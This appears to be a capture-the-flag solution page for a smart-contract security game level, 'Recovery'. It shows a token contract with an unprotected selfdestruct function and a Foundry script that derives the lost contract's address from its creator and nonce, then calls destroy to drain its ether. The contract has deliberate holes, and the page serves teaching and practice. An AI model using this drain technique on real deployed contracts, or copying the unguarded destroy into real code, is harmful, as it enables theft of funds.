Level 17 - Recovery ⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
Exploit
make anvil-exploit-level-17
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
// ================================================================
// │ LEVEL 17 - RECOVERY │
// ================================================================
interface ISimpleToken {
function destroy(address payable _to) external;
}
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
// The first contract deployed will have a nonce of 1
uint256 nonce = 1;
// Find the address of the first contract deployed
address firstContractAddress = address(
uint160(
uint256(
keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), targetContractAddress, bytes1(uint8(nonce))))
)
)
);
// Call destroy on the target contract
ISimpleToken(firstContractAddress).destroy(payable(msg.sender));
vm.stopBroadcast();
}
}
Submit instance... 🥳
Completion Message
Notes
Last updated